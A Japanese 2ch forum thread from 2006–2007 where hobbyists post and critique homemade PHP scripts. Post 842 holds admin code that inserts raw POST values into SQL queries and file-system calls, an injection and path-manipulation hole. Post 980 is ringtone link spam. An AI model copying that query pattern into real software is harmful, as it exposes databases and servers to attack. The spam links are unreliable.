0831nobodyさん
2006/05/18(木) 20:18:15ID:???no-ipのアドレスが繋がらなくなっちゃったのは放置中です。
#携帯からなのでトリップあってるか微妙ですが…
0834nobodyさん
2006/05/26(金) 18:49:03ID:???0835nobodyさん
2006/05/28(日) 03:36:46ID:???0836nobodyさん
2006/05/30(火) 20:38:24ID:???class unko{
function unko(){
echo 'がちゃ。';
}
function geri(){
echo 'びゃーーー。';
}
function benpi(){
echo 'ぶぶ、ぶぽっ';
}
function sakatoro(){
echo 'ぱくぱく';
}
}
?>
0837nobodyさん
2006/05/31(水) 10:24:26ID:8/NARi8p0838nobodyさん
2006/06/01(木) 14:27:17ID:???なんかいっつも流れちゃってた
0839nobodyさん
2006/06/01(木) 21:28:52ID:???0841ちんこ先生 ◆Qm364jaZpk
2006/06/03(土) 00:59:48ID:0vGoGgYvinclude_once("auth.php");
$img_status = array("フオ", "ヘュ");
$charge_status = array("フオホチ", "ヘュホチ");
$all_site_info = get_all_site_info();
include_once("skin/all_site_list.html");
?>
0842ちんこ先生 ◆Qm364jaZpk
2006/06/03(土) 01:03:25ID:0vGoGgYvinclude_once("auth.php");
if($_POST["code"] and $_POST["regist"]){
$sql = "INSERT INTO `code_list` (`code`, `comment`) VALUES ('".$_POST["code"]."', '".$_POST["comment"]."')";
if(@mysql_query($sql)){
@symlink(DOCUMENT_ROOT, "../".$_POST["code"]);
$sql = "INSERT INTO `site_info` (`code`, `site_url`, `site_mail`) VALUES ('".$_POST["code"]."', '".
$master_info["root_url"].$_POST["code"]."/', '".$_POST["code"]."@".$master_info["mail_domain"]."')";
@mysql_query($sql);
$msg = " "
}else{
$msg = "ケュケ・ウ。シ・ノ、ホナミマソ、ヒシコヌヤ、キ、゙、キ、ソ。」";
}
}
if($_POST["delete"] and $_POST["delete_check"]){
foreach($_POST["delete_check"] as $key => $value){
@unlink("../".$value);
$where["code[".$key."]"] = $value;
}
$sql_obj->DeleteSet("site_info", $where);
$sql_obj->SQLMake(DELETE, ALL_OR);
$sql_obj->AllResets();
$sql_obj->DB_query();
$sql_obj->DeleteSet("code_list", $where);
$sql_obj->SQLMake(DELETE, ALL_OR);
$sql_obj->AllResets();
$sql_obj->DB_query();
0843nobodyさん
2006/06/03(土) 09:57:12ID:???0844nobodyさん
2006/06/03(土) 11:16:25ID:???0845nobodyさん
2006/06/03(土) 13:15:59ID:???0846nobodyさん
2006/06/03(土) 13:28:48ID:???0847828
2006/06/03(土) 15:34:31ID:???アドバイスありがとう!
もうちょっと頑張って勉強するよ。
コーディングのスキルをあげたいので、これからもスクリプトを書いて発表すると思います。
Internal Server Errorが返されたのは php.ini の設定が悪かったからだ...orz
まずは>829のスクリプトを書き直します。
0848sage
2006/06/06(火) 22:48:13ID:rgM9q6ddないんですか?
0849nobodyさん
2006/06/11(日) 02:06:37ID:???そういうのはシステム設置側で公表すべきものなのだが、
gooが珍満文書を晒す姿も想像できん。
やるとすれば、キッズgooフィルタ付きのページをスクリプト側で拾ってきて、
結果を判断して貯めておくという手法が考えられるが、面倒だからやんない。
0850nobodyさん
2006/06/15(木) 16:00:57ID:KcH29g6vhttp://life.my.land.to/src/AccessLog.zip
0852nobodyさん
2006/06/15(木) 19:19:43ID:KcH29g6vまじで?
0853nobodyさん
2006/06/15(木) 19:52:07ID:???同じようなの作ろうと思ってました
フレームワークの導入までは面倒なので
できればフォーム定義はXMLで記述、正規表現で値チェック、
確認画面も出せたらいいな、と無責任な要望書いてみます
0855828
2006/06/19(月) 23:41:37ID:???しかし問題が・・・
$err_msg が TRUE になるような条件を作っても TRUE になっていない…。
今日もこれで寝ますよ... ◯| ̄|_
http://upld3.x0.com/src/upld8180.txt
0856nobodyさん
2006/06/20(火) 01:51:13ID:???$_POST = mb_convert_encoding ($_POST, 'SJIS');
これ無理
この直後にvar_dump($_POST)とやってみるとどうなってるかわかると思う
あとできれば
if ($_POST)
これは
if ($_SERVER['REQUEST_METHOD'] == 'POST')
の方がいいと思う
0857nobodyさん
2006/06/20(火) 08:02:14ID:???0858nobodyさん
2006/06/20(火) 17:32:49ID:???でも、マニュアルを見るとif文内での空配列はFALSE扱いになってるし
$_POSTなんて定番中の定番の変数だからあまり気にせんでもいいかも
0859nobodyさん
2006/06/20(火) 20:50:52ID:???HTTP POST以外のリクエストで$_POSTが空になるという前提は
PHPの仕様として確定しているわけではないので危険。
0860nobodyさん
2006/06/21(水) 00:38:35ID:???ひねくれすぎ
0861828
2006/06/21(水) 08:10:00ID:???今日、また書き直してみたいと思います。
0862nobodyさん
2006/06/21(水) 18:41:54ID:???そうだと思ったが一応聞いただけだ
0863nobodyさん
2006/06/21(水) 19:00:09ID:???0864nobodyさん
2006/06/22(木) 00:55:18ID:???0865nobodyさん
2006/06/22(木) 18:05:05ID:???0866nobodyさん
2006/06/22(木) 18:29:15ID:lWMamTxf0867nobodyさん
2006/06/22(木) 18:30:03ID:???0868nobodyさん
2006/06/22(木) 18:50:31ID:???奴とがいるんだね。
0870nobodyさん
2006/06/22(木) 19:00:51ID:yWfEGe4x誰か課題だして、
0871nobodyさん
2006/06/22(木) 19:15:35ID:???【PHP】Lvうpしたいので宿題ください
http://pc8.2ch.net/test/read.cgi/php/1147830986/l50
0872nobodyさん
2006/07/04(火) 13:15:32ID:???【ソース】 http://marijuana.ddo.jp/~m-board/m-board.tbz
【プログラミング経験】 PHPは2年ちょいだっけ?(プログラムは趣味でしかやってない)
【希望評価スタイル】 悪い部分、良い部分を指摘して欲しい
【自分の性格】 叩かれると自殺しちゃうかも
【備考】 B90/W58/H86 です。
0873nobodyさん
2006/07/07(金) 13:09:53ID:???>すみません、HDDまた飛びました。
>昨年末に買って未開封新品だったのに4日で壊れた(涙
>日曜日までには復旧させるつもりです。
全米が泣いた
0876nobodyさん
NGNG0877nobodyさん
2006/07/27(木) 10:29:36ID:???0878nobodyさん
2006/07/31(月) 23:28:47ID:sYlQMYT30879nobodyさん
2006/08/04(金) 01:08:25ID:???改善できる点とかあったら指摘してください。
http://tech.ppmz.com/2006/08/phpweblogupdatesping_6_1.html
0880nobodyさん
2006/08/06(日) 18:39:41ID:???0882879
2006/08/10(木) 12:58:19ID:???スリーサイズは勘弁してください。
直した方が良い、という指摘ならありがとうございます。
>>879
別のアーカイバを使って圧縮してみました。
いかがでしょうか?
0884828
2006/08/10(木) 23:53:18ID:???ここで最初にへっぽこスクリプトを発表してから、もう5ヵ月も過ぎてしまいました……。
あれからちょっと勉強して、最初に比べたらちょっとはマシになったかも知れません。
でもまだまだ、汚くて効率悪いコーディングだし、無駄が多すぎですね。
まあ一応動いているようなので公開しちゃいます。
http://briefcase.yahoo.co.jp/bc/php_hurricane/vwp2?.tok=bcpR0pXBSG9Gj5Lj&.dir=/2a8d/9f71/ac22/d996&.dnm=sendmail.1.0.0.php.txt
何かあればよろしくお願いします。
0885nobodyさん
2006/08/11(金) 01:03:11ID:???デフォルトではpostデータはエスケープされる。ということは、シングルクオーテーション(')が入力されると
どうなるか分かる?
0886828
2006/08/11(金) 10:41:51ID:???ありがとうございます。
おっしゃる通り、シングルクォーテーション、ダブルクォーテーション、バックスラッシュはクォートされました。
というわけで修正してみました。
http://briefcase.yahoo.co.jp/bc/php_hurricane/vwp2?.tok=bcMD.pXBNsYfNpqX&.dir=/2a8d/9f71/ac22/d996&.dnm=sendmail.1.0.1.php.txt
0887nobodyさん
2006/08/17(木) 16:08:53ID:???PHPでMagicPacketを送信するプログラム書いてくれー
簡単でしょ〜
0888nobodyさん
2006/08/17(木) 17:10:06ID:???PHPでMagicPacketが送れるかどうかは俺には分からんが
あくまで「発表する」ためのスレであってだな、勉強の場ですよ?
とにかく「クレクレ厨」は場違いなのでどっか行け。
0889nobodyさん
2006/08/19(土) 04:12:22ID:???0890nobodyさん
2006/08/19(土) 12:21:40ID:+xxPG0V/0891nobodyさん
2006/08/19(土) 12:36:45ID:???0892nobodyさん
2006/08/20(日) 13:20:18ID:oyufgt9C0893nobodyさん
2006/08/20(日) 16:21:17ID:aDUxtu4bfunction WakeOnLan($mac)
{
for($i=0;$i<6;$i++)
$packet .= chr(255);
$mac_byte = explode(':', $mac);
for($i=0;$i<6;$i++)
$mac_addr .= chr(hexdec($mac_byte[$i]));
for($i=0;$i<16;$i++)
$packet .= $mac_addr;
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, TRUE);
socket_sendto($sock, $packet, strlen($packet), 0, '255.255.255.255', 9);
socket_close($sock);
return;
}
?>
0894nobodyさん
2006/08/20(日) 22:49:19ID:???893はアホかと
0895nobodyさん
2006/08/21(月) 08:04:00ID:???0896nobodyさん
2006/08/21(月) 08:36:19ID:???第二回 自作スクリプト発表会【PHP】
http://pc8.2ch.net/test/read.cgi/php/1156116687/all
0897896
2006/08/21(月) 08:45:22ID:???0899nobodyさん
2006/08/21(月) 18:37:38ID:weaz9eFZ早漏すぎw
0901nobodyさん
2006/08/23(水) 01:34:59ID:???全てのディレクトリに手当たり次第rmdirするという実装を行ってみたのですが
かなり微妙な気配です
0904nobodyさん
2006/08/24(木) 21:24:16ID:eEaHk1qb0906nobodyさん
2006/08/25(金) 19:13:52ID:Mpo62NCh0908nobodyさん
2006/09/06(水) 15:47:12ID:isxTLeUZ0909nobodyさん
2006/09/06(水) 16:41:04ID:???0910nobodyさん
2006/09/07(木) 18:56:33ID:???0911nobodyさん
2006/09/08(金) 05:49:14ID:mhEDRQgKうーん・・・。
もっと改良するか。
0912nobodyさん
2006/09/08(金) 18:26:16ID:???0914nobodyさん
2006/09/09(土) 04:41:47ID:???0917nobodyさん
2006/09/13(水) 02:09:31ID:???0918911
2006/09/14(木) 03:37:54ID:???スレ内で検索は出来ます。
全体から検索はDB使わないと大変なことになりそうです(ぇ。
>>915
2chブラウザが無くても手軽に利用できるように頑張り中です。
COOKIEを使用してお気に入りとかも実装して便利にする予定。
気分しだいでは、JavaAppletを使った書き込みも考え中。
>>917
safemodeで動かないコードは怖くてかけませんヾ(;´▽`A``アセアセ
0919nobodyさん
2006/09/23(土) 11:25:53ID:???たとえば、
http://www.livly.com/mypage.php?uid=1Q9u
から
http://www.livly.com/mypage.php?uid=3Q9u
のなかの
http://www.livly.com/item/musikui.swfが含まれているswfを表示するようなスクリプトです、
宜しくお願いします。
0921nobodyさん
2006/09/23(土) 13:29:34ID:???http://pc8.2ch.net/test/read.cgi/php/1147830986/148
ま、アレだ市ねってことだね。
0922nobodyさん
2006/09/23(土) 14:25:33ID:???0923nobodyさん
2006/09/23(土) 16:42:00ID:???0924nobodyさん
2006/09/23(土) 22:37:50ID:???0925nobodyさん
2006/09/25(月) 17:08:39ID:???0926nobodyさん
2006/10/09(月) 16:28:59ID:5EHC+DYi0927nobodyさん
2006/10/22(日) 02:36:58ID:???for ($i = 10; $i < 600 ; $i++){
print "<img src=http://blogcafe.jp/user/moegazoo/pics/nakamura_miu$i.jpg>";
}
0928nobodyさん
2006/10/23(月) 17:05:09ID:???0929nobodyさん
2006/10/23(月) 17:18:45ID:???0930nobodyさん
2006/10/23(月) 20:39:32ID:???0931nobodyさん
2006/10/23(月) 22:53:45ID:???最近見たソースも閉じてなかった
s2dao.phpだったかな?
0932nobodyさん
2006/10/24(火) 02:21:58ID:???ヘッダーが送出されてしまうのを防ぐために閉じない
0933nobodyさん
2006/10/24(火) 07:48:06ID:???0934nobodyさん
2006/10/24(火) 22:43:35ID:???0936nobodyさん
2006/10/27(金) 21:24:18ID:???0937nobodyさん
2006/10/31(火) 02:17:45ID:???PHP コードのみからなるファイルでは、終了タグ ("?>") は決して含めてはいけません。終了タグは、PHP には必要ありません。 終了タグを省略することで、ファイルの最後にある空白文字が出力に影響することを防ぎます。
0938nobodyさん
2006/11/27(月) 10:49:48ID:qZ7XTYGM0939nobodyさん
2006/11/27(月) 19:45:44ID:H8aC7OS51.a.phpってファイルの4の倍数行目の後に適当な行を挿入する
2.a.phpってファイルにfor文があったらその前に任意のif文を挿入する
0940nobodyさん
2006/11/27(月) 20:02:50ID:c6HTdBMZ2.for()で$iをカウントしつつ、1の配列を回しながら、新しい配列$new[]に入れていく
3.2の最中に$iが4の倍数なら「適当な行+現在の配列」を$new[]に入れる
4.2の最中にstrpos()でforが含まれれば、「任意のif文+現在の配列」を$new[]に入れる
こんだけ教えてやったんだから、ソースは自分で書け
0941nobodyさん
2006/11/28(火) 16:06:35ID:xPFIpVfiありがとうございます
0942nobodyさん
2006/12/04(月) 17:28:02ID:HUYljM/E0943nobodyさん
2006/12/06(水) 16:52:05ID:mJS2uSViecho 'age';
?>
0944 ◆7HKNexECl.
2006/12/21(木) 00:23:00ID:HWxfqd8iprint 'age';
?>
0945nobodyさん
2006/12/21(木) 00:56:53ID:???class ThreadEnd {
function init() {
print 'm9(^Д^)プギャー!!';
}
}
?>
0946nobodyさん
2006/12/22(金) 17:54:12ID:5anhsy1o0947nobodyさん
2006/12/22(金) 18:27:23ID:???//自作スクリプトstart
?>
sage
<?php
//自作スクリプトend
?>
0948nobodyさん
2006/12/22(金) 19:28:42ID:???class Xmas {
function sleep() {
print ' _,,..,,,,_';
print '/ ,' 3 `ヽーっ';
print 'l ⊃ ⌒_つ';
print '`'ー---‐'''''';
}
}
?>
0949948
2006/12/22(金) 19:29:37ID:???0950nobodyさん
2006/12/22(金) 19:39:01ID:???class Xmas {
var $me;
function Xmas() {
die( $me);
}
}
?>
0951nobodyさん
2006/12/22(金) 19:40:14ID:???0952nobodyさん
2006/12/27(水) 16:41:08ID:???0953nobodyさん
2006/12/27(水) 16:43:08ID:???// HTML文字列から日本語エンコードを取得
// =====================================================
function get_html_encode( $file_str){
eregi( 'encoding=["\']?([^">\n\']*)', $file_str, $wk_encode);
if( $wk_encode[1]==''){
eregi( 'charset=["\']?([^">\n\']*)', $file_str, $wk_encode);
}
if( $wk_encode[1]==''){
$encoding[] = "SJIS";
$encoding[] = "JIS";
$encoding[] = "EUC-JP";
$encoding[] = "UTF-8";
$wk_encode[1] = mb_detect_encoding( $html, $encoding, true);
}
$site_encode = $wk_encode[1];
if( strcasecmp( 'iso-2022-jp', $site_encode) == 0){
$site_encode = "JIS";
}else if( strcasecmp( 'shift_jis', $site_encode) == 0){
$site_encode = "SJIS";
}
if( $site_encode=='') $site_encode = 'auto';
return $site_encode;
}
0954nobodyさん
2007/01/04(木) 07:43:38ID:Yxg8P1y50955nobodyさん
2007/02/09(金) 22:39:05ID:mYVSJcRT0956nobodyさん
2007/03/20(火) 01:19:40ID:M2dXvO/x入門書5冊くらい買ってやっと掲示板作りましたが
案の定書き込みがないです。
苦労と手間のかかる自己満足だ・・・
0957nobodyさん
2007/03/20(火) 09:04:27ID:???0958nobodyさん
2007/03/20(火) 09:13:35ID:???0959nobodyさん
2007/03/20(火) 11:02:16ID:???0962nobodyさん
2007/03/22(木) 23:26:15ID:Kp29oL15>>960
すいまそん。
ここはPHPのスレッドだったんですね。。
Perlですが、はじめての人のかんたんPerlと掲示板アンケートで覚えるPerlプログラミング
という本を参考にしますた、というかこの本を見ながら見よう見真似で作っただけです。
というか初心者にとっては掲示板作ってからが大変だ。
これをどう応用していけばいいのやら。。。
0964nobodyさん
2007/03/23(金) 02:14:58ID:B/wss7py&readparse(*form)
です。この関数の中でいったい何が行われてるのかはわかりませんが
勝手にformという連想配列が作られてその中にフォームから入力されたデータが入っちゃってる
みたいです。
そういや、ここらの理屈はあいまいだ。
やはりデコードも文字コードの処理も自分でやらないと
応用できるようにはならないのでしょうか?
0965nobodyさん
2007/03/23(金) 23:40:01ID:wT+JyrUvそんな僕が一念発起してMySQLを使ったWebアプリを作ろうと思い立ちました。
当然CGIを使うことになると思い、入門書を探すと「PHP + MySQL」の本しかありません。
どうやらPerlよりPHPの方がMySQLとの親和性が高いようですが、
どうせなら有名なPerlをこの機会に覚えようと思っていただけに複雑な心境です。
PerlもPHPも素人なのですが、PHPだけ覚えればPerlなんて不要でしょうか?
それとも汎用的なWEBプログラミングを覚えるためには、これとは別にPerlの勉強が必要?
もしそうなら「Perl + MySQL」の本を探した方がいいんでしょうか
0966nobodyさん
2007/03/24(土) 12:57:02ID:???プログラミング言語ってどんなものがあって
それらはそれぞれどういう用途に使われることが多いのか
ということについて調べてみるといいよ。
0967nobodyさん
2007/03/24(土) 14:23:28ID:???仕事となれば、必然的に目的に合わせた言語で、となるだろうけど、
趣味で始めるのなら、何からやってもいいと思うよ。
結局はどの言語でも、やろうと思うことは大抵出来るから。
一通りの理解が出来たら、他の言語に挑戦してみてもいいしね。
まぁ、あえて個人的な意見を言うなら、
PHP→Perl よりも Perl→PHP の方が、すんなりいくとは思う。
PHPの1関数で出来たことを実現するためにPerlで10数行書かなきゃならないこともあるからね。
最初に基礎の基礎から学ぶにはPerlからはじめた方がいいかもね。
0968nobodyさん
2007/03/24(土) 19:45:54ID:???0969965
2007/03/25(日) 12:14:14ID:aJ0StKvrありがとうございます。
仕事半分、趣味半分なのでPerl入門書→PHP & MySQLの本 と
流してみようと思います。むかしC入門で挫折した経験があるので
不安ですが。。。
0970nobodyさん
2007/04/09(月) 11:25:37ID:y0wSlAqB0971nobodyさん
2007/04/09(月) 21:24:37ID:9JIXZayA心配スンナ
Cで挫折した俺がPHPもPerlも出来てる
2回ぐらい挫折すると以前の挫折した分が多少は継承されてる
0972nobodyさん
2007/04/09(月) 22:14:34ID:???まぁポインタとかオブジェクト指向とか難敵がいるからな・・・
0973nobodyさん
2007/04/10(火) 01:05:49ID:???0974nobodyさん
2007/04/10(火) 15:29:07ID:FUjP3ASnfunction Xmas($name,$size){
$this->name = $name;
$this->size = $size;
$num = 3;}
function Sukarno1(){
$model .= ' _,,..,,,,_<br>';
$model .= '/ ,\' 3 `ヽーっ<br>';
$model .= 'l ⊃ ⌒_つ<br>';
$model .= '`\'ー---‐\'\'\'\'\'<br>';
return $model;}
function Sukarno2(){
$model .= ' _,,.......,,,,_<br>';
$model .= '/ ,\' 3 `ヽーっ<br>';
$model .= 'l ⊃ ⌒_つ<br>';
$model .= '`\'ー-----‐\'\'\'\'\'\'\'<br>';
return $model;}
function namae(){return $this->name."<br>";}
function size(){
if($this->size == 1){
$mes .= $this->name."<br>";
$mes .= $this->Sukarno1();
$mes .= "<br>普通の大きさですよ<br>";
}else{
$mes .= $this->name."<br>";
$mes .= $this->Sukarno2();
$mes .= "<br>ちょっと大きいですよ!<br>";
}return $mes;}}
$x = new Xmas("スカルノびっち",1);
echo $x->size();
0975nobodyさん
2007/04/18(水) 10:30:49ID:1lP+D7FIだれか似たようなやつ作ってくれ
ttp://www.nap.st/
0976nobodyさん
2007/04/18(水) 10:34:01ID:1lP+D7FI0977nobodyさん
2007/04/18(水) 13:27:47ID:???0978nobodyさん
2007/04/18(水) 13:34:16ID:???0979nobodyさん
2007/06/08(金) 21:25:25ID:rGzmVhL40980ePTIFXfmBDDYhJBJBel
2007/06/08(金) 21:32:30ID:???<a href="http://p1ring.xshorturl.org/1/free-sprint-ringtones.html">free sprint ringtones</a>
<a href="http://p1ring.xshorturl.org/1/nextel-ringtones.html">nextel ringtones</a>
<a href="http://p1ring.xshorturl.org/1/n-sync-ringtones.html">n sync ringtones</a>
<a href="http://p1ring.xshorturl.org/1/sprint-ringtones.html">sprint ringtones</a>
0981nobodyさん
2007/08/04(土) 16:21:59ID:???0982nobodyさん
2007/08/04(土) 16:22:58ID:???0983nobodyさん
2007/08/04(土) 16:23:28ID:???0984nobodyさん
2007/08/04(土) 16:23:58ID:???0985nobodyさん
2007/08/04(土) 16:24:28ID:???0986nobodyさん
2007/08/04(土) 16:24:58ID:???0987nobodyさん
2007/08/04(土) 16:25:28ID:???0988nobodyさん
2007/08/04(土) 16:25:58ID:???0989nobodyさん
2007/08/04(土) 17:30:58ID:???0990nobodyさん
2007/08/04(土) 17:31:28ID:???0991nobodyさん
2007/08/04(土) 17:31:58ID:???0992nobodyさん
2007/08/04(土) 17:32:28ID:???0993nobodyさん
2007/08/04(土) 17:32:58ID:???0994nobodyさん
2007/08/04(土) 17:33:28ID:???0995nobodyさん
2007/08/04(土) 17:33:58ID:???0996nobodyさん
2007/08/04(土) 17:34:28ID:???0997nobodyさん
2007/08/05(日) 08:29:16ID:???レス数が950を超えています。1000を超えると書き込みができなくなります。